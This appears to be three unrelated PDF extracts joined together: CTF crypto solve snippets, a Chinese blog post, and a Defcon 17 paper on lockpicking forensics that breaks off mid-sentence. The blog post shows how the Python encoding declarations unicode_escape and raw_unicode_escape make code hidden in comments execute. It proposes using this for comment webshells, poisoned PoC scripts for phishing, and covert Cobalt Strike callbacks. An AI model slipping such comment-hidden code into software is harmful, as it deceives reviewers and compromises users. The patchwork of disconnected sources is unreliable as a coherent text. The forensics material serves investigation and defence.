n = 92916331959725072239888159454032910975918656644816711315436128106147081837990823
C = (44449540438169324776115009805536158060439126505148790545560105884100348391877176,
73284708680726118305136396988078557189299357177640330968917927635171441710392723)
p = [425886199617876462796191899, 434321947632744071481092243,
502327221194518528553936039]
phi = (p[0]*p[0]-1)*(p[1]*p[1]-1)*(p[2]*p[2]-1)
d = inverse(e,phi)
M = mul(C,d)
assert mul(M,e)==C
print(long_to_bytes(M[0])+long_to_bytes(M[1]))
from Crypto.Util.number import *
dp =
379476973158146550831004952747643994439940435656483772269013081580532539640189020020958
796514224150837680366977747272291881285391919167077726836326564473
c =
572482589459273876735794673481061187470343811907037778614095273362729145596994903533259
066729562735598679414022814386706527109095322613033940450796291461563408019322548390215
741399439334519240628884267263532307572845828639932275927033231332651804143820621325805
266582057162180463662476538817646588913155926071943557332094932396112161931184246025109
641020269986743236851347960185968173932681065837371535166329690416932807252979292777511
360405468302305338985146597147172133716198531372725159670670088055210516131071415557885
168942236548512777853933551781142309290140374367706781311481403983843947164564502695390
650093963119960404228537400495085005402814881712852334457447996800223071804522107939136
14131646875949698079917313572873073033804639877699884489290120302696697425
c1 =
781001314618722856134262443227375021472194851087991309752024296380428594881369337834982
109143357419407616561375160339264189753637341946610316785168570407235320554486959288206
240944004814649501811266384562346698149824112709856502092456877655954837388769755725212
769631495426591876800759173223085121639044232973816355327716904340165891328761712835963
204356233762834252285361577267815248703486149831164088150882576097885179868106225059615
38812889953185684256469540369809863103948326444090715161
# discrete_log
x =
437762756288598905752324437943192985519348042134727449270228186967591889019773902669731
727556583961974211394202065498893371179785978831548599652366054525184464486398130551341
335875640454718044478180585715864268958009848055883638558652186908775474191527655121430
952174134773438354739636376924410321361632899647561723162894691595003126305290913506368
084916975530693883883033416230477375535561231420027370599365699311631973645714785095768
163493481462151012508038265906940390960638584244053829507694152721118430397156326558315
942242880996088273453771643759275593381535059914049738885943566643934872498195899158811
78770048740
# from z3 import *
# p=Int('p')
# s = Solver()
# s.add(2019*p**2 + 2020*p**3 + 2021*p**4==x)
# s.check()
# print(s.model())
p =
121316011657880246350300349210840704700538421129848668210703952817284688050727160024944
27632757418621194662541766157553264889658892783635499016425528807741
print(long_to_bytes(pow(c,dp,p)))
密码⼈集合
脑洞⼀下发现是数独。 | pdf |
摸鱼的时候在挖洞,本身想写一个文件内容过滤的小脚本(误报太多了),发现报错,看网
上貌似是编码问题,于是我就百度了下,发现 py 上加两句就可以了
# -*- coding: utf-8 -*-
# coding:unicode_escape
但是当我运行的时候,我突然发现注释报错了
本来我以为是正常的报错,debug 一下,发现正常代码没任何问题,但我发现行数不对,是
在第 13 行,但是这是被注释掉的内容啊,我深入了一下发现,问题出现在 \n 和
unicode_escape 上,于是我新搞了个文件进行测试
可以成功解析\n,那么使用命令呢
我们可以看到注释的内容并不会在 debug 中跟到注释当中,但是会执行注释当中的语句,
这也就是为什么我 debug 不出来的原因
但是 python 为啥使用 unicode_escape 即可解析注释的内容呢?带着这个问题写一个 demo
进行原理分析,我们可以看到下面两张图第一个是使用的 unicode_escape 编码的文件,而
第二个文件则是默认的 utf-8
Test2.py 内容:
# coding:unicode_escape
# \nprint('1)
其中我们可以看到 unicode_escape 的文件语句是 \nprint(1),而默认的则是\\n,也就是说明
unicode_escape 的其实是给\\n 减少了一个\
于是尝试 debug,打上断点,我发现第一次出现 unicode_escape 是在
我们定位到 read_or_stop
发现只是一个简单的 readline,而注释也说了,最多只会调用两次,所以这也是为什么开发
一般编码都要放在第一行的原因,并且也说明了,如果未指定编码,默认将是 utf-8
然后继续往下走,省下中间一堆无用过程,我们可以看到此时的 print(1)前面还是\\n
但是在 513 行,先是判断 encoding 存不存在,如果存在就用 encoding 进行解析本身存在
的 line,此时我们可以看到\\n 被解析成了\n,于是就后面的 print(1)因为换行符的原因,被
调到了下一行,也就正常执行了
我们本地简单测试下
可以发现,正常的 a 输出后会减少一个\,但还是会输出\n,但是当使用 decode
(“unicode_escape”)后,我们发现被解析了,因为 print 本身就会空一行,所以 print(‘\n’(被
解析后的\n))就会空 2 行,这也就成功的逃逸出注释符了
这证明什么,证明只要能解析掉换行符我们即可执行注释,那么除了 unicode_escape 编码,
还有其他的么,打开 python 的底层源码,发现在 codescs.rst 中记录着各式各样的编码,在
unicode_escape 上方还有一个 raw_unicode_escape
尝试用 raw_unicode_escape 执行 py
发现不行,不过没关系,看一下源码中是咋注释的,毕竟带有 unicode_escape,肯定是有关
系的,上面是要以\uxxxx,那么试用一下换行符\u000d,发现也可以成功解析
不过除了这种,应该还会有,我也就没有继续深挖下去,有兴趣的师傅可以自己看一看
python 的编码,应该是还会有其他的可以解析
后面我在想,既然 python 能有这种编码操作,那么 php 和 java 会不会有呢?很不幸的是,
花活最多的 php 没找到这种操作(可能是因为我太菜了),但 java 却有了突破,找到了之前
p 牛写的一篇文章《unicode 反噬》用的也是利用注释进行 bypass(果然大佬永远快一步),
如图
发现与 py 一样,同样可以执行注释里的内容
但 java 与 py 不同的是,java 本身会用 unicode 解析整个项目,然后再进行执行,所以如图
所示,正常我们是可以执行计算器的
但是如图所示,当我们在 java 代码中添加了\u000d 后,java 这边会执行报错,因为他解析
了换行符,所有就不会正常执行
与之对应的是 py,虽然第四行同样报错,但 py 是一句一句执行的,所以可以正常的输出 1,
但 java 先进行了一遍整体 unicode 解析,所以当解析完换行符后,java 就不会开始执行而
是报错了
用这个可能可以做到很多事,比如网站我们构造注释 webshell,比如二开 poc 脚本投毒进行
钓鱼,比如构造一个好玩的小程序用注释偷偷恶搞,用拼接的方式构造命令上线 cs,玩法有
很多很多,后面想到了再补充吧
最后再放上 p 师傅的两个样本供大家学习
Author Zac
公众号 ZAC 安全
微信 zacaq999
知识星球 安全宝典 | pdf |
Lockpicking
Forensics
by datagram
www.lockpickingforensics.com
www.lockwiki.com
Defcon 17, 2009
www.defcon.org
If you've been to a computer security conference recently
you've no doubt seen people learning how to pick locks and
crack safes. In the United States, interest in physical security
has become a natural extension of the growing number of
people interested in computer security. Many computer
security events now host some form of lockpicking event, or
an area where people can learn about locks, safes, and
methods to compromise them, commonly known as a
lockpicking village.
At many of these events attendees focus on techniques to compromise locks and safes without discussing
the forensic evidence they leave behind. Many instructors and speakers (the author included) portray
many of these techniques in a manner that leads people to believe that they cannot be detected. In some
cases this is true, but the vast majority of tools and techniques leave distinct forensic evidence.
This paper describes forensic locksmithing, the field of forensic investigation that relates to lock and
keying systems. Included in this paper is normal wear and tear, evidence left behind by a variety of entry
techniques, keying system analysis, and the investigative process.
This paper was written as a companion to my Defcon 17 (2009) talk and does not provide exhaustive
coverage of the topic. A more thorough resource on forensic locksmithing (and contact information) is
available at www.lockpickingforensics.com.
Destructive vs. Covert vs. Surreptitious Entry
Before we begin, we need to understand the difference between ways lock or keying systems are
compromised. Methods of entry are generally classified as being destructive, covert, or surreptitious.
Essentially, the distinction between them rests on the type of forensic evidence they leave behind. When
we discuss whether or not methods of entry leave behind forensic evidence we restrict our view to lock-
related evidence. It is quite possible that “forensic-proof” techniques leave behind evidence that is
unrelated to the locking mechanisms, such as hair, fingerprints, or other trace evidence.
Destructive entry
techniques cause damage to or destruction of locks, safes, or surrounding
components. Surrounding components are commonly doors, windows, and walls. Regular “users”
of the locking system are capable of identifying destructive entry techniques.
Covert entry
techniques are non-destructive and do not leave obvious forensic evidence. They are
not discovered by regular users, but can be identified by a qualified forensic investigator.
Surreptitious entry
techniques are non-destructive and do not leave any discernible forensic
evidence. Surreptitious techniques are not discovered by regular users, and qualified investigators
may be unable to identify them, depending on the technique.
In short, the difference between covert and surreptitious entry is the ability for a qualified forensic
investigator to identify if a tool or technique was used. The paper will cover the most common types of
covert and surreptitious entry techniques. Information on destructive techniques is available at
http://www.lockpickingforensics.com.
Forensic Locksmithing
In 1976 a gentleman named Art Paholke (Chicago PD) decided to perform a variety of tests on locks and
safes to determine whether or not various type of attacks against them left forensic evidence. He
combined this with an analysis of how different levels of wear affected the evidence. Mr. Paholke's work
was quite influential and his methods provide the basis for many of the techniques in use today. From his
work the concept of forensic locksmithing developed.
In modern day, the forensic locksmith assists investigative agencies in criminal investigations, insurance
claims, and security maintenance by providing the facts surrounding the compromise of a lock or key
system. In this regard, the forensic locksmith identifies the method of entry, tools used, skill level of
attacker(s), the relative security of the system, and evidence that may be used to identify suspects. The
forensic locksmith does not solve cases for the investigative agency, rather they provide facts, evidence,
and insight that may be used to affect the outcome of an investigation.
Don Shiles, former president of the International Association of Investigative Locksmiths, defines
forensic locksmithing as:
"The study and systematic examination of a lock or other security device or associated equipment
using scientific methods to determine if and how the device was opened, neutralized, or bypassed.
These examinations include the use of various types of forensic techniques, [...] and includes
microscopic examination, micro photography, regular photography, physical disassembly of the
device or devices, and on occasion laboratory techniques, such as metallurgy and tool mark
identification may be conducted."
The forensic locksmith functions much like the traditional crime scene investigator but has extensive
knowledge of the tools and techniques used to compromise lock and keying systems. With this
knowledge the investigative agency can better understand and identify potential suspects. In addition to
this, the forensic locksmith may be asked to provide testimony to explain their findings. In other cases,
they provide independent testimony to explain or clarify compromise tools and techniques, lock and
keying systems, and various related topics to a judge or jury.
Normal Wear
In order to identify compromise of a locking system it is important to know what the lock components
and keys look like when they are used normally.
The amount and nature of the wear on components varies and is highly dependent on the lock, key, and
component materials. The most common material for pin-tumbler locking cylinders, keys, and
components is brass. Cylinders and components (pins, levers, wafers, etc) also commonly use nickel-
silver and steel. Keys are made from a wide variety of materials besides brass, such as nickel-silver,
aluminum, iron, steel, zamak, and various proprietary alloys.
The nature of wear also depends on the design of the key and the components. Unfortunately, I cannot
display all possible combinations of designs and materials. The following is a microscopic examination
of different stages of wear on a standard pin-tumbler cylinder (Falcon FA3, 6 chambers, pinned for 5).
The cylinder, plug, pin-tumblers, and key are all made out of brass. Bottom pins in this cylinder have
rounded tips. Prior to disassembly, the key to this cylinder was used no more than ten times. For the sake
of space, I will only show 1-2 pins of each stage, rather than all 5.
Note: Photos are all taken with a digital microscope ranging from 10-200x magnification.
New
New pins are clean, with no dust, grease, or dirt. Light abrasions and corrosion may exist depending on
how the pins were stored prior to being used in the lock. Factory original pins usually do not exhibit these
characteristics. A clear indication that pin has not been used is the fresh milling marks around the tip of
the pin.
Up close, we notice many small imperfections in the tip of the pin. Very light scratches, dents, and bumps
are visible. The dents and bumps are natural imperfections in the manufacturing process, while the light
scratches are likely from the use of a key.
The key for this lock is also new. It is factory original, made of brass, and has been cut with a high speed
key machine. As stated above, it has been used a few times, and because of this we can see a light track in
the center of the key where it has picked up lubricant from the pins.
250 Uses
After 250 uses (roughly 3-6 months of use) a ring develops around the pin. This is the key gliding under
the pins, spread around the tip because insertion and removal lightly rotates them back and forth. The key
is also lightly polishing the pins, too.
Up close we can see that the ring is actually due to the milling marks starting to be removed and lightly
polished. The pin has also been slightly distorted in the very center, also due to the key making contact
with it.
The key has also started to show signs of wear, mostly in the center where the pins have been touching it.
In this particular case, wear resembles a staircase pattern. In addition, the key has picked up more
lubricant, making the line on the key considerably darker.
1,500 Uses
At 1,500 uses (roughly 1.5-2 years of use) a distinct change in the appears of the pins. The key has been
used so many times that the milling marks have almost completely been removed. Again, slight scratches
on the pin are being caused by the key becoming more jagged as it too wears down.
What is most interesting is that pin 5 (the furthest back) has considerably less wear, and more visible
scratches. This all makes sense; it is only touched by the tip of the key, and the tip of the key is the most
worn down because it makes contact with all of the pins.
The key continues to wear and collect lubricant. Image shown at high zoom to show the literal pits that
are being created. At this point, certain ramps on the key may be acting like a file when going in and out
of the lock. As seen above, this translates to more light scratches on the tips of the pins.
5,000 Uses
At 5,000 uses (roughly 5-6 years of use) the front pin (left) has no milling marks, and almost all scratches
have been polished away. From this point on wear looks similar to this, with light markings sometimes
being created by wear of the key.
Compared to other pins, pin 5 (center) continues to show reduced signs of wear and retain its milling
marks. We can also now see that wear is not evenly distributed on this pin, as it resembles an oval shape.
Compare with above picture and 1,500 use pictures.
They key (right) continues to wear down, with small craters from the previous example now very large
and uneven. Slight imperfections like this in the key will cause light, seemingly random scratching on the
soft brass on the pins. Stronger key materials may even act as a file against pins.
The face of a lock that has seen moderate to heavy use will have many dents and imperfections caused by
normal use. How many times have you went to unlock a door and slightly missed the keyway? In the
photo (left), many small dents and scratches from normal use are visible.
In shoulder stopped locks (almost all pin-tumbler locks qualify), continued use will cause light impact
marks along the face of the plug (right). This is normal, and should not be confused with the extreme
material displacement that occurs during key bumping.
Lockpicking
Lockpicking is a general term for a wide variety of covert entry techniques, all of which attack the
locking components directly. Unlike impressioning or decoding, lockpicking attempts to open the lock
without producing a working key or decoding the correct position of components. There are many
different lockpicking tools for various lock types.
In almost all cases of lockpicking two tools are used. A tension tool is used to gently apply tension to the
lock, and a pick is used to position components. As tension is applied to the plug, bolt, or other
component, locking components will bind in some way. The pick can be used to determine which
component is binding and then used to position it properly. The correct position of a component is known
by the attacker through feedback in the form of touch, sound, or sight. The tension tool holds properly
positioned components in place, and the attacker repeats the process. Once all components are properly
positioned the lock can be unlocked or locked.
The nature of lockpicking necessitates that strong materials be used for tension and picking tools. Tools
are commonly made out of steel, iron, and aluminum. Tools are thin (on average 0.025'' with pin-tumbler
picks) and require a medium amount of force to move locking components. When contacting the softer
brass or nickel-silver of locking components, pick and tension tools leave marks in the form of gouges
and scratches. The best source of forensic evidence of lockpicking are on the components themselves, but
the lock housing, bolt, and cam may also be examined, depending on the type of lock.
Forensic Evidence
The act of using a pick tool is invasive, and we expect the stronger material of the pick tool to cause
marks on the softer brass or nickel-silver of the lock components. In the photo (left), we see scratches
where the pick tool was used to lift the pin. These appear to be single-pin picking marks due to their
shape, size, and position.
This photo (center) is similar to the last, but instead there are many varied, elongated scratches at
different angles and depths on the pin. This type of marking is indicative of a pick that is designed to be
gently rubbed against the pins at varying height and tension. Of course, this is the technique known as
raking or rake picking.
In this photo (right), marks left appear to be a combination of both picking techniques. Many attackers
will attempt to lightly rake as many pins as possible and then proceed to use single-pin picking against
the rest. This may be necessary in the case of security pins that are triggered while raking, also.
The marks left by an attacker are in many ways indicative of their skill level. In this photo (left), deep and
plentiful pick marks are shown. The attacker, an amateur, used extreme force on both tension and pick
tools. The extreme tension causes pins to bind against plug and require more force to be lifted.
In this photo (center), pick marks are extremely light but still visible in the center of the pin. We can also
see some marks on the side of the pin which are more defined. This is a very skilled attacker who uses
extremely light tension and picking force to reduce forensic evidence. Despite much higher picking skill,
we still find similar forensic evidence.
In other cases, marks may be light due to stronger materials being used for components. In this photo
(right), nickel silver pins from a Mul-T-Lock telescoping pin-tumbler are used. Marks are present, but
much lighter than in our normal examples.
For the attacker, it is difficult to not touch the sides of pins. This can happen during raking as well as
single-pin picking. Marks left on the sides of pins are quite noticeable and not as prone to wear and those
in the center of the pin. In the photo (left), light scratches at varied angles are visible.
In the case of low-high pinning combinations it is even harder to lift pins without touching other pins. In
this photo (center), several long scratches travel up the side of the pin. Interestingly, we may be able to
measure the length of scratches to determine if the attacker raised the adjacent pin high enough.
Like the bottoms of the pins, the sides can tell a great deal about the skill level of the attacker. In this
photo (right), gouges on the sides of the keys are rather deep, caused by extreme force being used on both
the tension and picking tools. With this much material removed, it may be possible to identify pin
material on a suspect's possessions.
Inside the plug we also expect to find various forensic evidence. In this photo (left), the plug walls have
scratches are various angles that are inconsistent with the use of a key.
The top of the keyway is a great area for forensic evidence because a properly cut key will never touch
here. Of course, pin-tumblers never touch here either, as this are is between pin chambers. For these
reasons we consider this a “virgin” area where any tool marks found are indicative of something
suspicious. In this photo (center), light scratching on the top of the keyway is visible.
Marks can also be found higher on the plug walls, near the pin chambers and internal warding. In this
photo (right), a large mark is found on an internal ward (between pin chambers). From the shape, angle,
and size of the mark we can rule out a key as the culprit. If a key did do this, it would likely be present on
other wards inside the lock, too.
Tensions tools used in lockpicking also leave identifiable forensic evidence. When we take the plug apart,
we can usually find light scratching and scuffing at the front of the keyway. Marks can be at the top or the
bottom of the plug, depending on the tension preferences of the attacker, and how clear they are may help
us determine their skill level. In the photo (left), light scratching and a definitive tension tool mark (the
line) are visible.
Light tension is preferred when pick locks with security pins or other high security features. Often only a
feather touch is needed to pick a lock, though excessive tension is a beginner mistake. In this photo
(center) light scratches are visible, as well as the final resting position of the tool (the clearest mark). The
light scratches are usually caused by having to fiddle with the tension tool to get it seated properly.
In addition to the pins and plug we can look at the cam of the lock. While evidence on the cam is not
always available, it does help indicate the skill level of an attacker. At many locksport events the cams are
removed and you'll notice people with the pick sticking out the back of the lock. When mounted, they are
hitting the cam instead, creating a good deal of forensic evidence. In this photo (right), excessive
scratching on the cam indicates a low-skill attacker.
Pick Guns
Pick guns are a covert entry tool used to pick pin-tumbler based locks. Pick guns have manual and
electric variants, each with their own type of forensic evidence. Both work to rapidly separate pin pairs at
the shear-line to allow the plug to rotate. Pick guns are similar in function to bump keys.
Manual pick guns are spring-loaded tools that resemble a toy gun with a lockpick attached to the front.
The lockpick is interchangeable, and referred to as the "needle." To open the lock, the needle is inserted
in the lock and placed under all pin stacks. As with lockpicking, a separate tension tool is used to apply
tension and rotate the plug. Light tension is applied to the tension tool and the trigger of the pick gun is
fired. According to physics, the kinetic energy transfers from bottom pin to top pin, causing the top pins
to "jump" in their chambers. If all top pins jump above the shear-line at the same time, the plug can be
rotated to unlock the lock.
Electric and vibrational pick guns work on a similar principle, but instead oscillate the needle back and
forth, causing it to vibrate. The tool is controlled to get the resonating frequency of the needle at the right
point so that top pins jump above the shear-line. In the case of vibrational or electric pick guns, we will
see considerably more evidence on the plug walls because the device is constantly moving.
Forensic Evidence
The striking of the pick gun needle against the bottom pins causes very clear forensic evidence. Unlike
picking, which causes scratches, the pick gun causes impact marks that, when done many times, begin to
resemble the spokes of a bicycle along the circumference of the pin. In this photo (left), several impact
marks are visible.
The marks left by a pick gun are so distinct, compared to the rest of the pin, that is is often possible to
count them to determine how many times the pick gun was triggered. Each time the needle strikes, the
bottom pins may rotate slightly, allowing marks to be separate and distinct. In this photo (center), a
multitude of impact marks along the tip of the pin are visible.
As with lockpicking, the cam of the lock may have marks on it if the needle of the pick gun is inserted
too far. Just like the impact marks on the tips of the pins, we can usually count how many times the pick
gun was used if it touched the game. In this photo (right), many marks are visible on the cam caused by
repeated use of a pick gun. It is likely that cam material will linked to and found on the pick gun, if it is
ever recovered.
Key Bumping
Key bumping is a covert entry technique against pin-tumbler locks that uses a specially prepared key to
"bump" top pins above the shear-line. There are two types of key bumping, pull-out and minimal
movement, but both produce similar forensic evidence on the bump key and the lock.
To bump a lock, a key is acquired that fits the keyway of the lock. The key is modified so that all cuts are
at their lowest depths or lower. If done by hand, a key gauge or micrometer can be used to measure the
key and ensure cuts are deep enough. If done with a key machine, the key may be duplicated from a
working bump key, or cut by code to the lowest depths.
In the pull-out method, the key is inserted into the lock fully then withdrawn one pin space. In the
minimal movement method, the key is further modified by removing material from the tip and shoulder
of the key. The minimal-movement key is inserted completely into the lock. In both cases, light tension is
applied to the key and a tool (known as a bump hammer) is used to impact the bow of the key, causing
the key to be forced into the lock. The impact on the key causes kinetic energy to travel from the key to
the top pins, causing the top pins to momentarily jump. If all top pins jump above the shear-line while
tension is applied the plug is free to rotate.
Forensic Evidence
The act of key bumping basically slams the key against the bottom pins to allow for kinetic energy to be
transferred from the key to the top pins. Because they are immobile and absorb the kinetic energy, this
causes considerable damage to the bottom pins in the form of large dents. In the photo (left), a large dent
is visible on the pin, inconsistent with normal wear (and lockpicking or pick guns, for that matter).
A bump key that is cut by hand, with a low speed key cutter, or made of a considerably stronger material
(steel, iron, nickel-silver) than the pins may act as a file as it impacts bottom pins. In this photo, light
scratches can be seen traveling through the bumping dent. It is possible that marks are distinguishable
enough and can be linked to a specific bump key, though this is rare.
Bumping is rarely 100% successful, either because bottom pins are bumped above shear line, or top pins
are not bumped high enough. When this happens the tension applied will misfire, causing one or more top
pins to bind. This causes light shearing against the bottom of the top pins, visible in this photo (right).
The pin chambers within the plug may also be damaged by bumping. When kinetic energy does not
properly transfer to the top pin, the pin stack may instead press against the chamber walls (caused by the
movement of the bump key). Repeated bumping may cause these areas to distort, stretching in various
directions. In the photo (left), the pin chamber is stressed is distorted in many directions, but mostly to
the top left.
One of the most noticeable pieces of evidence from key bumping is damage to the face of the lock. This
is caused by the shoulder of the key impacting the area above and below the keyway. The use of modified
shoulders may prevent this from happening, commonly done with a glue gun stick (and referred to as a
glue gun shoulder). In the photo (center), a large dent above the keyway is present, inconsistent with
normal wear.
In the minimal-movement method, material is removed from the tip and shoulder. This makes the method
work but also inserts the key far enough that in some cases affects the keyway. This is due to the key
material getting thicker as it reaches the bow. In the photo (right), this distortion can be seen around the
edges of the keyway.
Impressioning
Impressioning is a covert entry technique that creates a working key for a target lock. Impressioning has
two variants: copying, which focuses on making a mold of a working key; manipulation, which focuses
on using a blank key to manipulate lock components to determine their proper positions. This page will
focus on manipulation-based impressioning.
Manipulation-based impressioning works by taking a blank key that fits a target lock, applying extreme
torque to the key (thus binding components), and manipulating the key blank in order to produce marks
on the key. This is correct for pin-tumbler locks, but the actual process varies for different lock designs.
The theory behind impressioning is that components at the wrong position will bind and become
immobile. When the soft brass key contacts the immobile components, a mark should be produced. When
a component is properly positioned it should no longer bind and thus no longer leave marks. The blank is
used to gather marks, then filed in those positions. This is repeated until all components are in their
proper position and the lock opens.
There are variations on the manipulation process that use pressure responsive materials, such as lead,
tape, or plastic to facilitate the process of impressioning. In these cases we may also find material transfer
as the soft materials rub against the keyway and inside of the plug.
Forensic Evidence
Because we are forcibly binding bottom pins at or above the shear line we expect to see marks on the pins
where this occurred. In the photo (left) we can see several marks where the pin was bound against the
plug in the form of straight lines sheared into the pin. (Note: the scratches to the left are pick marks)
Sometimes, impressioning marks are so clear that we can count the rounds of impressioning (right). If
marks are far apart the forensic locksmith can also measure the distance between them. This may indicate
a more skilled attacker if they are using factory depth increments to speed up the impressioning process.
The key blank may be specially prepared for impressioning via manipulation in a variety of ways. One of
the possibilities is the use of Ultraviolet ink and an ultraviolet light source. This is an interesting
technique, but as you can see in the photo (left) it leaves ultraviolet ink residue on the face and insides of
the lock.
When using UV impressioning, UV ink is reapplied each time the blank is filed. In turn, the pins will
have a large amount of UV reside on them. Notice the obvious key pattern of UV ink across the sides of
the pin (right). In addition, the UV pen fibers may have been stuck to the key and left behind on the pins
or the plug walls.
Decoding
Decoding is a general term for a class of covert and surreptitious entry methods, all of which have the
expressed purpose of decoding the proper position of components in a lock through an examination of the
key or internal components. Decoding is probably the most ambiguous of all the compromise methods,
with a wide variety of tools and techniques used.
Decoding does not necessarily create a key for the lock, like impressioning would, nor does it always
open the lock, as is the case with lockpicking. The power of decoding is the ability to gather information
that allows the production of working keys for the lock. Decoding is also powerful because many forms
are surreptitious, thus leave no discernible forensic evidence.
Keys can be directly examined and decoded. Key decoding focuses on identifying the pattern of bitting
cuts on the key. These can be determined by looking at the code numbers stamped on the key, or through
direct measurement of each cut with a ruler, micrometer, or caliper. These measurements are used to
determine the manufacturer's bitting code so that a key may be easily made. Sophisticated locksmithing
tools are available that will automatically identify the bitting code based on the cuts and keyway profile
of the key. This is the most basic of decoding methods, and may be problematic with high-security keys
that have advanced features like sidebars, angled bitting cuts, moving parts, or magnetic/electronic
components.
Components inside the lock can also be decoded through invasive, manipulative tools. These tools have
radically different designs, and are generally specific to particular brand or model of lock. Most
manipulative tools focus on measuring each component to determine: weight, range of movement, shape,
spacing, and alignment. Many manipulative decoding tools resemble traditional lockpicking tools with
the addition of a measurement device. Opening the lock via lockpicking is sometimes a pre-requisite to
decoding the components. Many tools also decode the lock as they pick it. The standard tubular lockpick
and the Sputnik tool are the most popular examples. Manipulation of combination locks requires no
invasive tools and is discussed more thoroughly in the Anti-Forensics section.
Disassembly of the lock can also be done to directly measure all internal components. This can be a
complicated procedure depending on what type of lock it is and how it is installed. This process usually
requires the lock be compromised first so that the door can be opened. Facilities with lax security
measures may leave doors unlocked and unguarded, allowing someone to quickly remove, disassemble,
and decode a lock. Reassembly and re-installation of the lock is equally important, and if done incorrectly
can cause the lock or proper key to no longer function. In the photo, a hotel safe lock has been (almost)
completely disassembled. Consider the implications if the safes in the hotel were master keyed, or keyed
with a predictable pattern.
Visual/optical decoding focuses on observation or surveillance of the
key or internal components without needing to invasively manipulate
them. A photograph of a standard key's bitting is enough to decode
the bitting code. Surveillance may be used against combination locks
to observe the correct combination being entered by an authorized
user. Optical decoding uses tools like borescopes or otoscopes to
look inside the lock at the internal components. Optics can be used to
look at the size, shape, color, alignment, and spacing of internal
components. In the photo (right), pin-tumblers can be decoded
because they are color-coded to make self-rekeying easier.
Radiological imaging is a form of surreptitious decoding that uses penetrating radiation (X, beta, and
gamma rays) to "see" inside the lock or safe, revealing the proper positions of components. This is most
often used against rotary combination locks to determine the position of each gate in the wheel pack.
While very effective against many combination locks, it is expensive and only used by medium-high skill
attackers.
Thermal imaging is another form of surreptitious decoding that uses special devices to look at thermal
residue left on keypad or pushbutton combination locks. This reveals buttons recently pushed, but may
not directly reveal the combination sequence. Like radiological imaging, this is generally not used by low
skill attackers.
As you can see, decoding is a vast array of techniques with forensic evidence equally varied.
Manipulation-based decoding tools provide forensic evidence that is similar to lockpicking, but may vary
depending on the specific techniques. Examination of keys may leave forensic evidence depending on the
type of tools used. Visual, optical, radiological, and thermal decoding are all considered surreptitious and
leave no lock related forensic evidence.
Bypass
Bypass is a form of covert entry that attempts to circumvent the security of the lock by attacking the cam,
bolt, or locking knobs directly. While lockpicking focuses on defeating the security of the lock through
manipulation of components, bypass goes directly to retracting the bolt without affecting the integrity of
the components. Certain bypass techniques are also forms of destructive entry, but bypass generally refers
to non-destructive methods.
Attacks against the cam or actuator are a class of bypass that is surprisingly effective. In this attack, a
poorly designed cam or actuator may be manipulated without affecting components. This vulnerability is
somewhat uncommon, but extremely effective and easy to do when present. Because tools must generate
a mild amount of torque as well as travel through the plug, they leave distinct tool marks.
Spring loaded bolts or latches are subject to an attack known as shimming. In shimming, a wedge is used
to separate the bolt from the spring, or the bolt from the recess (such as in a door). The classic credit card
trick to open doors is a popular example of this technique. Low-security padlocks are also commonly
susceptible to shimming of the shackle. Shimming against doors is also known as loiding.
Forensic Evidence
Cam manipulation is one of the most common bypass methods. The American 700 (old models) suffer
from this vulnerability. Essentially, the cylinder is not required to move in order to actuate the cam. In the
photo (left), tool marks left on the cam and back plate indicate that bypass was used as the method of
entry.
In response to the above attack American Lock issued a hardware patch to prevent the bypass method. It
is just a small metal disc, and in the photo (right) we can see tool marks from where bypass was
attempted. The 700 has since been redesigned because another attack against this component makes
bypass again possible.
Key Analysis
While investigation of locks is important, it is more common that the keying system has been
compromised. Much like the cryptography world, systems are not usually broken by some awe-inspiring
flaw but instead by the simple act of obtaining the proper keys. The keys to a specific lock can yield just
as much information as the lock itself, sometimes more so because of the possibility of hair, fiber, and
fingerprint transfer when handling keys. While examination of locks is excellent for determining the
method of entry, examination of keys is doubly excellent for the identification of suspects.
When the forensic locksmith receives a key, they examine it in a variety of ways to determine its
characteristics, place of original, history, and any evidence that may help to determine how it has been
used. The cuts, keyway, and codes on a key are always examined for information.
Many keys have codes that identify cuts and keyway. Bitting codes may be direct (literal) or indirect
(obfuscated). In the case of indirect codes, the manufacturer may be able to determine to whom and
where the key belongs. Other information may also be stamped on the key, such as the name of lock
brand, key brand, or the locksmith/hardware store that produced the key. All of which may be used to
identify a suspect.
The material of a key is also important to many forensic investigations. The material of a key can identify
factory original keys, and in some cases specific third-party manufacturers. Certain manufacturers use
proprietary alloys to increase longevity and strength of their keys, some of which can be traced back to
them. The plating on a key also provides some clues. Manufacturers usually plate factory-original keys
after they are cut, while locksmiths and hardware stores will remove the plating of a blank key when
making cuts. The plating material may also be used to identify the key blank manufacturer.
Key Duplication
Keys can be duplicated in many ways, but the most common is duplication by hand or with a key
machine. Identifying an original vs. duplicate key is an important function of the forensic locksmith. In
addition, the forensic locksmith may be able to determine if the key was recently duplicated. Which of
these two photos shows the original key, and which is the duplicate. Why?
In this photo (right), the duplicate key is shown. Notice that the ramps and valleys of the key are slightly
different than the previous photo. In addition, we see that the key is nickel-silver plated, with no plating
on the cuts. Depending on the factory-original specifics, this may also indicate that it is a duplicate key.
When a key is duplicated with a stylus-based key machine a mark is left on the side of the original key
(left). This is due to the stylus being gently dragged against the key, and resembles a long, straight,
polished line. This cannot be confused with wear of the key because it is not in the direct center of the
key.
Keys can be examined to determine the speed and blade design of the key machine was used to cut them.
This photo (right) shows a comparison of two keys, with the one of the left being cut with a lower speed
key cutter. If a key machine is found with a suspect, it can be examined to determine if it was used to cut
a specific key.
Handmade Keys
Possession of keys that are made by hand are, in a general sense, somewhat suspicious. In most cases
hand made keys are easily identified by measuring the ramp angles, shoulder to first cut distance, and the
distance between cuts. Hand-made keys generally have imperfect, jagged ramp angles and poorly spaced
cuts.
In this photo (center) we see many groups of scratches, with slightly different angles, across the bitting of
the key. This is consistent with the use of a file. Specifically, this is a flat file being used on the broad
side. With a tool mark comparison we can determine the size, shape, and grade of the file(s) used.
In this photo (right) we see a series of cuts with variable depth valleys and light material removal around
the edges. This is consistent with use of a dremel. Again, tool mark comparison can determine exactly
which dremel bit(s) may have been used. These can be linked with tools found in a suspects possessions.
Tool Mark Identification
Sometimes marks will be left on the key as a result of normal or malicious use. When a key is duplicated
with a cutter, the clamp to hold the original or the blank may leave a mark. In addition, some covert entry
techniques may leave tool marks. In this photo (left) we see a set of rather deep marks on the bow.
Close up (center) we see a distinct pattern on the largest tool mark. We can hypothesize what made this,
and perform a tool mark comparison to confirm. This particular mark was made by a pair of vice grips
being used to impression (via manipulation) a blank key. The key should also be examined for
impressioning marks.
In many covert entry techniques a key is used as a tool to affect entry. Keys with unusual marks or
deformations can provide clues as to their use or intended purpose. In this photo (right), the shoulder of
